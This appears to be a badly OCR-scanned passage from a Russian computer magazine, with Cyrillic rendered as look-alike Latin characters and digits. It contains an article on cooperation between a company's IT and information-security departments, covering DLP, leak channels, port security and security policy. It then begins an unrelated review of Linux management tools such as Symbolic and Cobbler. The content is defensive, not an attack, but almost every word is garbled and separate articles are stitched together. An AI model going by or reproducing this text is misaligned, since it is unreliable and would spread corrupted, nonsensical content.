yascb k HeMmy no RDP 6e3o Bcsikoro VPN. MoyToBble nBeb-cepBepa bbinn
apeHAo0BaHbly 0HO NUTEPCKOM KOMNaHWK (Ha3BaHMe He NPUBOANTCS
M0 3TUYECKUM CO0BpaXeHWsaM), NpruyeM B LOroBOpe 0 NpeocTaBneHum
BUPTYasbHbIX CEPBEPOB COrNalleHns 0 KoHGUAEHLMaNbHOCTN He Bbino.
KpoMe, cobcTBeHHO, ONMCaHHOM 3aa4u, Mbl PELLXAN NOJ LLYMOK Npo-
TalUTb CpPa3y M Co3[aHue CUCTeMbl 3aLLUTbl NEPCOHANbHbIX aHHbIX, TaK
KakK, HeCMOTpPAAHAaTO YTO Ha TOT MOMeHT ®3-152 B cuny ele He BCTyNuA,
CNYXV 0 TOM, 4TO Mbl BOLLJIN B CMIUCOK «XKEPTBEHHbIX arHL,eB», 10 HAaC A0LL-
nu. Tak 4To 3aja4a HECKOJIbKO paclumMpunacs.
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HAYNHAEM PABOTATb

MonayvanypabotacUT-oTAenoM WwnaoyeHb xopollo. OHW He HAXOAWUANCH B

HaleM NofYMHEHNN, M B3aUMOAeiCTBUE CBOLAWIIOCH KDOMe ONepaTUBHO He-

06x081MMOCTI K 06MeHY BHYTPEHHUMU [loKyMeHTaMu. Bonblioro Tpyaa cTon-

10 NPUYYUTb aAMUHOB HEe 3BOHWUTL N0 TeNleDOHY, BbiCbiNas HaaboHeHTa BOPOX

HEeMoHATHLIXTepMUHOB (ecn g elue B cuny obpazoBaHns Mory pasobpaTtbes,

TOYXKe MO HauaNlbHUK — HeT), a MeHHo nucaTh nucbMa. MoyeMy 310 6bi10

Tak BaxHo? Bo-nepBbIx, nepenncky npoLLe nofHs T, B Cy4ae Heobxoanmmo-

CTW, UBCMOMHUTb, KTO KOMY 4TO CKa3aJsl, uTeM caMbiM n3bexaTb nepeBosa

CTPeNoK, 0TMa30K TUMa «5i XKe/He FOBOPUII» U B KOHEYHOM UTOTE CIKOHOMMTH

BPEMSI M CHU3UTb HAaNPSXKEHHOCTb B CNlyYae Yero. OpraHn3osaTb 0bMeH

LLOKYMEHTaMW N0 3/1eKTPOHHOI N0YTe HaM He M03BoJInNa NpodeccmoHanb-

Hasi NapaHoiisa: He Tak JaBHO Mbl NOTEPSIM MHOMO IEHEr N0 eLLe He 10 KOHLa

BbISICHEHHbIM NPUYMHAM, M NCMONb30BaTb A5 06MeHa KOHGUAEHLMANbHOR

MHGOpMaL e MoYTOBbIN CepBep, PacrnooKeHHbIY 3a ThiCAYy KMIOMETPOB Ha

TeppUTOPUU LpYrot KOMNAHMK, HaM Ka3aNocb OMacHo.

TakuM 0bpa3oM, Halla 3afa4a CBOAMNACh K ClefytoLLemy:

1. OpranusoBaTbHabnoeHVe 3a NepeMeLlLeHMeM JOKYMEHTOB N0 CETU
M NI0KaNbHO Ha KOMMNbOTEPaX — Clof,a BXOLUT TakXKe KOHTPOsIb nevatu,
KOHTPOJIb KOMMPOBAHNS [OKYMEHTOB Ha CMEHHbIE HOCUTENH, BKJIl0Yas
coToBble TenepoHbl.

2. HabniopeHne 3anonb3oBaTeNsiMnBUHTEPHETE — KaKWe CalThbl Mo-
CeLLalT, CKEM MepenuncbiBaloTCs N0 KOPNOpaTUBHOW NoyTe, etc.

3. PesepBHoe KonupoBaHue MHbOPMaLLMK, COCTABASIOLLLEN KOMMepYe-
CKYH0 TalHy. 3To He 0TMEHSAN0 63KanMpoBaHUsS BCEro NpoYero, 0T cepae-
poB o KOHOUrypaLwnii ceTeBoro 060pya0BaHNs, 04HAKO Mbl HacTanBa-
N Ha OTAENbHOV NpoLeaype KONMPOBaHNS BaXXHOW MHGopMaLum
OT[eNIbHOr0 ee XpaHeHus.

MoMWMO 3TOro, TaKXXe NOAHUMANNCL BONPOCH OPraHn3aLmnm aHTu-
BUPYCHOM 3auThl (Ha MOMeHT HaYana paboTy nosb3oBaTenen cToanu
WHAWBUAYaNbHbIE @HTUBUPYCbl, 630 BCAKOr0 LLEHTPaNN30BaHHOTO
06HOBIEHMs), 3anycka cobCcTBEHHbIX Web- 1 mail-cepeepos, 3anyck wsus,
opranusauuns VPN mexay HQu dunmanamu, Ho B fanbHeiweM aTu 3agaym
BblM noyTM NoNHocTblo NepefaHbl UT.

OTpenbHONpo coToBble TenedOHbl U KOMMYHUKATOPbI. 3TV 3aMeya-
TesbHble AieBalchl Bbi3blBaMy HAaC 04eHb MHOro becnokoicTea. lToMuMo
TOr0, YTO OHW MOTYTUCMONb30BaTHCA KaK GpELLKM, OHU eLLle MOTIN CO3aTb
LONOSTHATENbHBLIA HUKaK He KOHTPOJIMPYEMbIN KaHas CBA3M C UHTEPHETOM.
WHcaigep, NofKI0YMBLLNI CBOIO MALLUHY Yepe3TenedoH K MHTepHe-

TY M BbIaBLUNI COODOLLHMKAM CBOV BHelwHM IP-agpec, Mor3anpocTto

YCTPOUTb BECENYI0 KUN3Hb, JaXKe NPOCTO NepeaB ynpasiaeHne MallnHowm

bonee KOMNETEHTHOMY 3710y MblILNeHHKKY. OcobeHHo ocTpo 3Tanpobnema

CTOsI/1a BCaMOM Hayasle Hallel AeaTeNbHOCTU — K COXAJIEHUIO, CUTYaLNs

bbinaTtakoBa, YyTo He Tosibko Bce USB-nopThbl 6b11M OTKPbLITHI, HO M NpaBa

aAMUHUCTPaTOpa bblNnM Yy MHOTUX MONb30BaTENEN — THKENOE HACNeACTBO
oTnpeabliayweroMT-oTaena, n36aBUTLCA 0T KOTOPOro HOBbIN COCTaB He

CMeLwmn No HeKOTOPbIM MPUYKHAM, 3y Hac He JOXOAUNN PYKU laXke BCe 3TO

npoBepnTb. BOTY)X TOYHO, NOKa FPOM HE FPSIHET — MYXUK He Nepekpe-

cTuTCs. TaK YT0 3aa4a HECKOJIbKO PacCLUMpPSNach, U NpexAe Y4eM Ha4ynMHaTh
3aTblKaTb BO3MOXHbIE KaHasbl yTEYKM MHDOPMALLMK, CTOUNO 38HATLCS
baHanbHoM rurneHon. imenn MecTo cnepyiowme npobnemsi:

1. Monb3oBaTenucnpaBaMu agMUHACTPATOPA— NPUYMHA X BO3HUKHO-
BEHWSA 3aKJ1I04aNach B N0b30BATENAX, NOOALMX CTABUTL CTOPOHHUIA
codT, aiMUHAX, He NBALLMX ByMaru, nHac, KoTopble Ha BCe 3TO NPOCTO
He 0bpalLany BHMMaHwus. Bnpouecce BbISCHEHUS NPUYUH 0Ka3anoch,
4TOMOCNEeTOro, Kak byxrantepam nopesanu npasa, HavanbHUK T umen
pasroBoOp C PyKOBOACTBOM MO MOBOAY NOJIb30BATENEN, KOTOPbIE YTO-TO He
mornucgenats. [ocneatoro VT pelunnv He CBA3bIBATHCS M BbIAATH BCEM
afMWHcKWe npaBa. [naBHoO Mx oLWNBKO B3TON cUTyaLum 66110 T0, YTO
OHV peLInav CAeNaTb BCe «MPOCTO Tak», HU CKEM He MOCOBETOBABLUNCH.

2. MopTbl KOMMYyTaTOpPOBYPOBHS fOCTYyNa. OHW BbINM BKKOYEHbI BCE, B
TOM 4MCNe v Hencnonb3yeMble. Hukakoro port security Ha HUX Ha-
cTpoeHo He bbino. HUKTo 3TUM He 3aHuMancsd — T nocTosHHO peLuasno
npobneMbl BUPYCHbIX 3NUAEMUWIA, BOZHUKAKOLWMX U3-3a 1. 1,2 Mbl HA 3TO
npocto3abunu, cnmucasHa T,

CHacTpoiikon port security Ha KoMMyTaTopax bbina cBsizaHa ele ofHa
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Bopbba3abeszonacHocTb

npobiiemMa— pykoBoACTBO GrpMbl obrI0 HocuTs B UT cBom (1 He TonbKo)
HOYTBYKU <151 HACTPOMKM/MOYMHKM», TAK 4TO UX MEPUOJUYECKM MPUXO-
AUNOCh BTbIKaTh B CeTb NpeAnpuaTus. Mtak, Mol npuctynunnk paborte.
[MocneTorokak Mbl, coBMecTHo c T, onpepenununepeyerbnpobnem,
Ha CTOJ1 PyKOBOACTBY J1er JOKYMEHT, NOANNCaHHbIA Ha4abHUKaMW OTAEN0B
NBuWT, nogHaseanuneM «MonnTuka uHbopmaLmoHHoit 6esonacHocTh».
Camno cebe JoKyMeHT BeCbMa MPOCTPAHEH M PaCIbIBYAT, U F1aBHbLIM B HEM
BbINI0 OMpe/iesieHne 30H 0TBETCTBEHHOCTU ABYX 0TAeN0B. [1o pe3ynbTaTam,
otaen T oTBevan 3apaboTocnocobHOCTL BCEX TEXHNYECKUX CPECTB U BCe
conyTcTBYlOLLME MEPONPUATUSA, TaKNe Kak pa3paboTka NoNHOM JoKyMeHTa-
LMW Ha MHPOPMALMOHHYI0 CUCTEMY NPeANpPUATIS, pa3paboTka MHCTPYKLNiA
nonb3oBaTeNsM, NJaHOB AENCTBUIA NPY BbIXOE TEXHUKMU U3 CTPOS U NPU
BO3HWKHOBEHWUWYrpo3bl HepaboTocnocoBHOCTU TEXHUYECKNX CPEACTB, a
oTaen Vb otBeyan 3apa3paboTky v nofaepxaHue BakTyasbHOM COCTOSHUN
LOKYMEHTOB, pernaMeHTUpyoLLKX paboTy nosib3oBaTesiel c nHpopMaLmei
OrpaHUYeHHOro pacnpocTpaHeHus, NPaBU HACTPOMKM CPeACTB 3aLLnThl (K
CpefcTBaM 3alnThl 6bII0 OTHECEHO GaKTUYECKN BCE YTO MOXKHO— 0T aHTK-
Bupycos Ao IDS), aTakxke KOHTpoNb cobrtoferuns aTux npasun. MocnegHnit
MYHKT— KOHTPOJIb COBJIOEHNSA 3TUX NPaBU— BbI3BaJly MEHS HEKOTOPbIE
COMHEHUS: BO BCEM OTAeJ1e TOJIbKO HECKOJIbKO Ye10BeK Obl/1 0CTaTOuHO
KOMMETEHTHbI, YTOObI BbIMOSTHSTb €70, 0CTasbHbIE UMESIN HECKOJIbKO ipYTyI0
HampaBJieHHOCTb. TeM He MeHee, 0CTaBJISTh MOSIHOCTbLIO BOMPOC 3aLUNTbl UH-
dopmauuu, unpkynupytowein 8 JIBC, Ha oanH oTAen bbino Heuenecoobpas-
HO: OTCYTCTBME KOHTPOIUPYIOLLEro OpraHa (4eTKo 0CO3HAIOWEro rpaHnLbl
KOHTPOIS) CANLIKOM 4aCTO NPUBOAMT K TOMY, 4T0 npaBua cobiofaTcs
ULk Ha bymare. Kpome Toro, HeManoBaXHbIM MyHKTOM «[ToANTUKK...»
BbINIOTO, 4TO PYKOBOACTBO 060X OTAEN0B MOTII0 MOAMNMNCHIBATH JOKYMEHTHI,
bosiee feTasbHO pernaMeHTUpyloLLMe MOPSA0K IKCMyaTaLuu TeEXHUYEeCKUX
CpeACTB M CPeCTB 3allNThl, a TakKe NOPAAoK paboTkl c HdopMaLmeit
OrpaHWYeHHOro PacnpoCTPaHeHNS, 1 3TU JOKYMEHTbl UMeNN pPUANYeCcKYIo
cuny, T.e. 0HM bbINV 0683aTeNbHbI K UCMONHEHMI0 BCEMU COTPYAHUKAMN.
OTAeNbHO X04Y 3aMeTUTb, YTO AaHHbIN MYHKT He CTOUT NPOTacKMBaThL «MNpu-
LieroM», a CTOMT LiefleHanpaBaeHHo 06pallaTb Ha Hero BHUMaHMe pykoBog-
CTBa—WHaye B fasibHelLLEeM, KOra noBassaTKanobbl oTnonb3oBaTenei
Ha 3abnokupoBaHHble USB-nopTbl, nope3aHHble npaBannpoyee, n3bexatb
HeMNpMATHBIX Pa3roBOPOB HaTeMy «no4yeMy He?..» byaeT cnoxHo. Ecu
PYKOBOANTE/Ib 0CO3HAHHO NOAMMLLET TaKo OKYMEHT, 3T0 paKTUYeCKM
pa3BshKeT pyki obonM o0TAeNaM — B fanbHeNLWeM NPUHATHE LJOKYMEHTOB
3HAYMTENbHO YyNPOCTUTCS, M MPY 3TOM OHW BYAY T UMETb MOSTHY0 CUTY.
CnepytolwmM LaroM nocie paspaboTku nnognucanus «MoanTukm nH-
dopmaunoHHoii 6esonacHocTW» bbIN0 ONpeAeneHre nepeyHs akTyanbHbIX
Yyrpo3Kak cBa3aHHbIX ¢ MT, Tak M He CBA3aHHbIX. YT0 3HaUYMT akTyanbHbix?
HyBnpuHLMNe, KOANYeCTBOYrPO3 OrpaHNYeHO TONbKO Ballieil paHTa3ne.
YT1eukano kaHany M3IMUH (sTo Korpa B KunoMeTpe 0TBaC CTaBUTCSH aHTEHHA
1 MO 371eKTPOMarHUTHOMY U3Jly4eH 1o C BU,eoKapTbl BOCCTaHaBIMBaeTCS
KapTUHKa C MOHWUTOPa) ToXe BO3MOXKHA, BOTTOSIbKO HACKOJTbKO 3aTpaThl
Ha obopynoBaHMe COOTBETCTBYIOT CTOMMOCTU MHOPMaLMn? PaspewnTs
3TOTBOMNPOC MOXKET MOMOYb TOSIbKO KU3HEHHbIW OMbIT U CTaHAapTbl —Kak
0TeYeCTBEHHbIE, Tak U MeXyHapoaHble. ONATb Xe, HYXKHO y4nTbIBaTb U
0Te4eCTBEHHYI0 CeLMdUKy, To eCTb OPraHn30BbIBaTh «3aLUTY OT ypaKar.
MepebpoLueHHbI Ha TMYHBIA AWK NPOEKT A0rOBOPa B OTKPLITOM BUAE
NpeKpacHO NPOMIIIOCTPUPYET ITY KapTUHY. TakKe BaXKHO He CUCbIBATH CO
CYeTOBMOsIb30BaTes el Ha TOM OCHOBAHWU, YTO OHY eJle-eJie CNpaBAsoTCs
CKOMMbIOTEPOM: YaCTO OT MOSIb30BATESIS He TPEDYeTCs MHOTO 3HaTb, 4TOObI
C03/aTb HEKOHTPOAMPYEMbI KaHan yTeukn nHdopmaumn. Bugeane —
CTOUT PaccunTLIBaTh, YTO BOpraHu3aLmy paboTaeTHcaiaep cCypoBHeM

T —
OPrAHU30BATb OBMEH
AOKYMEHTAMM NO 3JIEKTPOHHOW
NOYTE HAM HEMO3BOJIUJIA
NMPO®ECCUOHANIBHASA NAPAHOUA
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NoAroTOBKW, paBHOM YPOBHI0 NOAFOTOBKM BaLUMX CMELUANUCTOB, U faxe
Bbllle. TakKe BaXKHbIM ObI10 pa3feneHune 30H 0TBETCTBEHHOCTU — KaX AbIN
13 0TAE/10B MOT COCPeA0TOYNTLCS HAa TOM, YTo eMy bonee 3HakoMo: VT Ha
yrpo3ax, CBs3aHHbIX C MUHPOPMaALMOHHON UHDPACTPYKTYPOWA, @ Mbl —Ha
OpraH13aLMoHHbIX BOMPOCaXx, HENOCPeACTBEHHO 3afa4aX KOHTPONIS Haf,
MHPOPMALMOHHBIMU MOTOKAMU U HANUCaHUM UHCTPYK LU

OMMbIT, CbIH OLUMBOK TPYOHbLIX

[lanblue Havyanucb TpyAHOCTU. [lesI0 BTOM, 4TO Te MeTofbl, KoTopble npe-
KPacHO NoAX0AAT A1 0praHn3aLuin c NpenMyLLeCTBEHHO ByMaXHbIM
JOKYMEHTO060POTOM, AOBOILHO TPYAHO MPUMEHUTBL B Cily4ae, ecan bonbluas
4acTb AOKYMEHTOB LIMPKYNNPYET B 31eKTPOHHOM BU/ie M HUKAKO CUCTEMbI
31eKTPOHHOr0 J0KYMeHTo0bopoTa He pa3BepHYTO, TO €CTb JOKYMEHTO060pOT
CBOAMTCA K Hannuuto nanku c annamu Ha cepeepe. BBofnTb Bopranusauum
ellle ¥ CMCTeMY JOKYMEHT0000pOTa, He Mesi yBEPEHHOCTH, Y4TO OHa nepe-
KPOETX0Tb CKONIbKO-HUOYAb CYLLLeCTBEHHYI0 YaCTb HaLLMX NOTpebHOCTENR,
Bbino cnmwkom goporo. Mofknioyats 415 pellerns aTon 3agaun T 6bino He-
aKTyaslbHO: KOHTPOJIb 33 JOKYMEHTO060POTOM —3TO He X PO Kb, 1 OHU Bl
NpoCTo He CMOrM BbibpaThb nofxoasLiee No GyHKLMOHaNy pelleHne. Butore
Mbl 0CTaHOBUANCh Ha BbibOpe 13 1BYX BapnaHTOB— 1nbo 1cnob3oBaHKe fo-
KasbHbIX CPeCTB 3aluThl (MpenMyLLecTBEHHO 0TeYeCTBEHHbIE CEpTUDNLM-
poBaHHble peweHus), nnbo cetesas DLP-cuctema. 06a BapuaHTa umen ceou
MJChI M MAHYCbI, BYaCTHOCTY, CepTUPMLMPOBaHHbIE CPeACcTBa MO3BONANIN B
LanbHeilweM 0boiTUCh MeHbLLEN KPOBbIO NPY paboTe No 3aLyuTe NepcoHab-
HbIX aHHbIX, ceTeBblexe DLP ropaspoynobHee B obcnyxmsannmu pelwatot
bonee WwUpokuii cnekTp 3agay. KpoMe Toro, B ;laHHOM BOMpOCE HaM npu-
XOAWIO0ChY4YnTbIBaTh MHeHWe M T-oTaena, nockosbKy IKCnnyaTaLns faHHbIX
NPOAYKTOB 0CTaBaaCh Mo UX 4aCTU: Mbl TOJIKO BbipabaTbiBanu TpeboBaHms.
HawotaenotaaBan npeanoyTeHne cepTUGNLMPOBAHHbIM PeLleHNsAIM —CKa-
3bIBaI0Cb NpodeccroHanbHoe HeJoBepue pyKoBoACTBa OTAENa K KOMMepYe-
CKUM NPoAyKTaM [Hallle pyKoBOACTBO, Kak ¥ CONMAHAnA YacTb be3onacHnkos
BHeBO0bLINX KOHTOPAX, BbILUNa U3 cunoBbix BegoMcTs), UT-otaen xe,
HaobopoT, bonble TAroTe 1 K KOMMepyeckuM npoaykTam. CnpasennBoctu
pafiM fOMKEH 0TMETUTb, YTo KoMMepyeckue DLP-cuctemsl ropaspo nyuie
oTBeYanu HawuMmTpeboBaHusaM, npegnaranu bonee boratbil PyHKLMOHAN U
npocTo bbinnyfobHee B paboTte. E4UHCTBEHHBIM, MO CYTH, NPENMYLLECTBOM
0TeYeCTBEHHbIX peLleHui bbino Hannyne cepTuduKaTa, KOTOPbIA 0Ka3biBas
Ha Hall OTAeN MoYTY Maruyeckoe Bo3aencTane. Butore bbi1 npuHAT KoM-
NPOMUCCHbIV BapuaHT. [ToCKONbKY cepTUPULMPOBaHHbIe CpecTBa 3aLlnThI
HeobX0JMMO NPUMEHSTb, TOJTbKO MMest B pULLesie fanbHelillyto aTTecTalnio
noTpebosanuam FC3M (rocypapcTBeHHOM CUCTEMBI 3aLULMThI MHdOpMaLK),
a3allyMTa KOMMEpPYeCKO TalHbI MOYTW HUKaK He perflaMeHTMpoBaHa, Mbl
peLmnan UCnoNb3oBaTb CepTUPULMPOBaHHbIE CPACTBA 3aLMThI MHDOP-
MaLuMTaM, re OHU AeCTBUTEbHO HYXKHbI, — Ha KOMMblOTepax, KoTopble
BAanbHerweM Bownu B cocTas Hawen NCM L (MHdbopmaymoHHon cucTemsi
nepcoHanbHbIX AaHHbIX), HO 3TOYXKe COBCEM Apyrast UCTOPUS, BbIXOAALLAR

3a paMKu LaHHOM cTaTby. [1N51 3aLL M Tbl e KOMMepYeCcKoi UHOPMaLIM Mbl
ncnons3osanu Websence DSS.

EJTAHAJIAXWVBAIOTCA

Hawe pansHeliwee B3auMoeincTeue bbiio pernaMeHTUpoBaHo U NpoTe-
KanoBCrnokolHon obcTaHoBKe. Mo CyTH, 0HO CBOAMIOCH KTOMY, YTO Hau-
6onee KomMneTeHTHbI BBONpocax VT 6esonacHuk nonyyan ot T-otaena
[LOKYMEHTaLMI0 Ha Crnosib3yeMble CPeACcTBa 3aLUMTbl, KOHCYbTUPOBa -
CHMOHENOHATHLIM BONpocaM, noTaen b, nMes npeAcTaBneHe o Tom,
4TO MOXHO C/1eN1aTh C UCMOIb30BAHWEM 3TUX CPELCTB, BbipabaThiBan
TpeboBaHWS K UX HacTpoiike. Takxe, N0 BO3MOXHOCTH, A1 COTPYAHUKOB
MNB co3paBanvcbyyeTHble 3aMnCcK, MO3BOJAOWME MOHUTOPUTH NPaBUIIb-
HOCTb HaCTPOWMKU CPELCTB 3aLUThI M MPU HEODXOAUMOCTU OCTABAATH
onoBelleHve AN9 aAMUHUCTPATOPa 0 TOM, 4TO HEOHXO4UMO U3MEHUTL B
HacTpoiikax. i3HavyanbHoO NNaHWpoBanoch BeCTN NOJ06HYI0 Nnepenncky
TPaAMLMOHHBIM CNIOCOBOM M NPOBOAUTL €€ N0 BHYTPEHHEMY JOKYMEH-
T0060pPOTY, 0AHAKO OT 3TOM UAEN NPULLNOCH 0TKa3aTbCcs: TpeboBanoch
onepaTWBHOE B3aWMOAENCTBUE, @ BHYTPEHHUI JoKyMeHToo6opoT ocTaB-
NaN3afiepXKy B AeHb WA ABa. ECnu Bbl Mbl pelinanch Ha 3To, BpeMs
HacTpoiikn 060pyA0BaHMA PacTAHYN0Ch bbl HA HECKOJIBKO MeCSLLeB.

KpoMe Toro, Mbl MONIHOCTbIO 0TKa3aNChb 0T apeHAbl CEPBEPOBY
TPeTbWUX UL, TO €CTb pa3BepHyNN cobcTBEeHHbIE web- n mail-cepBepa.
3ToynpoCcTUNO 3aAa4y KOHTPOIS Ae10BOW NEPENUCKU COTPYLHUKOB,
apasBepHyTas DLP-cucteManossonuna nzbexarb MCnonb3oBaHus
JINYHBLIX MOYTOBLIX SLWMKOB 415 L€ N0BOI Nepennucku bes npumMeHeHns
[LPaKOHOBCKMX Mep TWNa MoJiHOro 3anpeTa focTyna K CTOPOHHUM mail-
cepBucaM. 3TOT BapuaHT, Ha CaMoM flefle, paccMaTpuBasncs, o4HaKo bbin
OTBEPTHYT MO HECKONbKUM NpUynHaM. OAHOM 13 HUX BbIN0 TO, YTO CO-
TPYAHUK, KOTOPbIN OLLYLLaeT KOHTPOJb HAZ CBOUMU fieicTBUAMU, ByaeT
KaK MMHUMYM HE[J0BOJIEH, YTO MOHWU3AT €ro NNOSANBHOCTb, @ MHCaaepa
BMAUMBIA KOHTPOJb 3aCTaBUT BeCTH cebsi ropasfio akkypaTHee, a aTo
3aTpPyLHUT ero obHapyxeHue.

Kakue n3BceroaToro MoxHo caenaTb BbiBofbl? Bo-nepBsbix, 3an0rom
yCrneLHoro B3aMMo/1eAiCTBUS 0TAEI0B ABRETCA NOATBEPXKAEHHOE [10-
KyMeHTasIbHO pa3rpaHnyeHue noIHOMOYMIA. ITO CaMblii BaXKHbIA MOMEHT:
HUKTO He Xo4eT Aies1aTb 3a KOro-To CBOK paboTy, Tak YTO MOAXOAUTE K

3TOMY BOMPOCY CTOMT CO BCEM TLLATENbHOCTbIO. [1pU 3TOM HY)KHO MOHK-

MaTb Pa3HULY MeX Ay MUHPOPMaLMOHHO 6e30MNacHOCTbIO C TOYKN 3peHUs
NT-cneymanucta v mHdopMaLymoHHoi 6e30MacHOCTbI0 C TOYKU 3peHUs
besonacHuka. BnpuHumnne, 3ToTBONPOCyXe NOAHMMANCS B CTaTbe, HO
nosToptock: T-6e3onacHocTb—3T0 cTabunbHoCTb paboTbl MHGOPMALIMOH-
HOM MHPpacTpyKTypbl, a B-be3onacHoCTb— KOHTPOIb Haf 0nepaLnsamMm
BaXKHOV MHOpMaLMelt. 3afa4mn NepeceKaloLmecs, Ho He BKloYatoLmecs
opHaBApyryt. OueHb BaXxHO onpefennTb NOpsAoK B3aNMOAeNCcTBUS
MeX/ly oTAenaMn—npsiMoe NOAYMHEHNE O HOT0 OTAeNa PYroMy BPSf n
npuBefeTK4eMy-To xopolueMy. [109TOMy 0{UH 13 BaXXHENLINX MOMEHTOB—
HYXHO BbITb FOTOBBIM K Manory. He Hy)XHO ynMpaTbCsi pOroM 13a04HO CUK-
TaTbcobecepHnka nanoToM. Ecnmobe cTOpPOHbI TOTOBbIJ0roBapuBaThCs, TO
HMKaKnx NpobnieM B3aMMoAeCTBUSA He BO3HINKHeT. 30

MOJIE3HbIE OKYMEHTDI

|-|pl/l onpefeneHN BO3MOXHbIX KaHal0BYyTe4YKNn VIHq)Op-
MaLI,I/IMTeﬁe npurogaTca cnepyrouime KHurun:

1. «CneyunanbHble TpebOBaHNS U peKOMEHAALMUM MO TEXHNYE-
CKOVi 33w Te KoHbuaeHunansHoi uHdopmauymuu (CTP-K)».
2. PykoBopaslunii LOKyMeHT «ABTOMaTM3NpPOBaHHbIE CUCTE-
Mbl. 3aLUM1Ta aBTOMaTU3UPOBAHHbIX CUCTEM OT HECAHK-

LIMOHMPOBAHHOI0 LOCTYNa».
3. «GrayHat EthicalHacker's Handbook».

Bce kHurunoyenbnpoctoHaryrnusatotcs, CTP-Ku P —

npsiMo Ha caiTe ®CTIK. MepBble ABE KHUMM HYKHbI CKOpee
besonacHukaM, a nocnefHas —agMUHaM.
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U YNPABJIEHUSA LINUX

CETU

MoaynpaBnennem Linux paboTa- (WWW|
10T KaK BbICOKOMPON3BOANTE b= CaiiTnpoexra

Symbolic: )
Hble KﬂaCTepr,TaKVIO,EI,VIHO‘-IHble opensymbolic.org

CaitnpoekTaFunc:
cepBeple Necnnynpasnenune CairrnpoekraFu
HacTpoikamun OC B nocnegHeM func

C/lyyae He Bbl3blBaeT Kakunx-1nbo CaiitnpoekTa Cobbler:
fedorahosted.org/
BOMpPOCOB (L0CcTaTouHO cUCTEM- cobbler
CaiiTnpoekTa
HbIX YTVIJ'IVIT], TO0 KOF,EI,a CGpBGpOB Certmaster:

CTAHOBWUTCHA HECKOJIbKO [,eCATKOB, Wl
aAMUHY MPUXOANTCS NCKATb UH-

CTPYMEHTbI, KOTOPbIE CMOCO6HbI
cAenaTtb3To Aeno bbicTpo, yaob-
HO, HarNSAHO U GYHKLMOHAJBHO.

Caitnpoektasmolt:
smolt.fedoraproject.org

CantnpoekTaPulse2:
pulse2.mandriva.org

CailTeinpoekTa

PaCCMOTpVIM Haunbosee n3BecT- Spacewalk:
fedorahosted.org/
Hble MPOeKThbl, 0becneymnBaloLLne spacewalk,
spacewalk.redhat.
pa3BepTbiBaHWe UyNpaBneHune com.
Linux-ceTblo.

OB30P UHCTPYMEHTOB
ANAPA3BEPTbIBAHUA

| loBennT

-

[loHepnaBHeroBpeMeHu Ans Linux He bbinio npoekToB, obecneynBsaio-
WMX afiMMHa yL0OHOW Cpejoii ANS YyCTaHOBKW M ynpaBaeHns bonbluinm
konunyectBoM OC. KoHe4Ho, MMeloTCs CMCTEMBbI, TO3BONAIOLLNE 1eTKO
pa3sepHyTb OC c onpeseneHHbiMu HacTporikamu (Kickstart, AutoYaST
uJumpStart, PXE), ckondurypuposatb uynpasnats (Cfengine, Puppet,
Func), cucTeMHble yTUNUTLI M cKpUNTsl Ha bash. Ho oHu TpebyoT Bpeme-
HW Ha U3y4yeHUe N K TOMY XXe He O4YeHb HarnsaHbl B paboTte. MocnefHee B
BoNbLINX CPpefax 04eHb BaXHO, BE[lb 4aCTO C€Tb 06C/1yKMUBAIOT aAMUHbI
Pa3HOroypoBHS, a BU3yann3alns 3HaynTebHo ynpoljaeT npoLecc
HaCTPOEeK M MOHUMaHWe CUTyaunn. Yo6HbIi MHTepdeic No3BONUT CHU-
3UTb MPOLEHT OWKNBOK 1 fenernpoBaTb NpaBa bonee pasyMHo.

CerofiHs CUTyaLMs B KOPHe U3MEHWNacb—flaTa-LeHTpbl, 061ayHble
TEXHONIOMNU... U Be3[je Mbl BCTpeyaeM *nix. PbIHOK NpocTo KpuyunT, Tpebys
HY)XHbI€ UHCTPYMEHTbI, M pa3paboTynku He 3acTaBUAN cebsi [ONT0XKAATh.

Cpepaynpasnenus Linux cuctemamu Symbolic (opensymbolic.org) nosu-
LIMOHNPYeTCS Kak peLleHne ypoBHSA NpenpusTus nobecneynBaeT nosHbIN
LMK oA AepXKM, HAYNHAs 0T yCTAaHOBKMW M 3aKaHYMBas 06CyXMBaHueM
onepaLuoHHOR CUCTEMBI:

e bbicTpoe pa3BepThiBaHKe nkonuposaHue OC;

® yaajeHHOe BbIMOJIHEHME CUCTEMHbIX KOMaH/, M ckpunToB Ha Bash, Perl,
Python, Groovy u ipyrvx, C KOHTposeM pe3ynbTaTa;
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e ayTeHTMUKaumus nonb3osatene npunomown LDAP, Kerberos,
Kerberos + LDAP (Active Directory) v BHyTpeHHas B[;

e ynpaBneHue paboynM cTonoMyganeHHon cuctemsl npu nomoun VNC;

* ynpaBieHMe MyyeTnonb3oBaTeneil, PU3NYeCKNX, BUPTyasbHbIX cep-
BEPOB M K1aCcTepos;

* cbopoTyeToB UMM coobenuit Ha RSS (o 3aBeplueHHbIX onepauuax);

e ceptuduumnposaH RedHat Application Stack, 4yTo no3BonsieT cCHU3NTL
pacxofibl Ha CO3AaHNe U NoAfepXaHne BeO-NpUNoXeHU 1 COOTBET-
CTBYIOLLEN apXUTEKTYPbI.

MopnepxKa cucTeMbl MoflyNeit v CKpUNTOB MO3BOAET 1ErKo paclumn-
pAaTbBO3MOXHOCTM Symbolic (NnocneaHNe BbI3bIBAOTCA OQHUM HaXaTHeM).
YnpaBneHue 60/IbLLNM KOJIMYECTBO CUCTEM AeNIerMpYeTCs HECKOJIbKUM
aAMUHUCTPATOPaM, KaX /bl U3 KOTOPbIX MOSlyYaeT AeCTBUTENbHO He-
obxopuMble npaga.

Bce HacTpoKM BEINOMHATCS NPU NOMOLLLM NPOCTOr0 U NOHATHOTO BE6-
UHTepdelica, noaaepxuBatLLeroTexHonoruo Ajax. K coxaneHuio, OH He
N10KaNM30BaH, Ho BCe ONepaLMmn Npo3payHsbl, v Noboi agMuH 6esnpobnem
pasbepeTcs c3a0KeHHbIMU NMPUHLANAMN.

Ho ecTb U MUHYC. YnpaBneHne orpaHUYeHo UCKITIOUUTENIbHO AUCTPUbY-
TuBaMu, coeMecTuMbIMU ¢ RedHat/Fedora. Mpuynna npocta— Symbolic
MHTerpupyeTBcebe pagApyruX UHCTPYMEHTOB, pa3pabaTbiBaeMbIX B

pamkax 3Tux npoekTos: YUM, Func ], Cobbler
( ), Certmaster | ],
Smolt ( ). Cpeaw onucaHHbIX Ha fpyroM gucTpuby-

TUBE MOXHO 3anNycTUTb ToNbKO Smolt, obecneunBatowwnii cbop faHHbIX 06
060py[0BaHNM CKIMEHTCKUX cUCTeM. KpoMe 3Toro, s pacnpocTpaHeHns
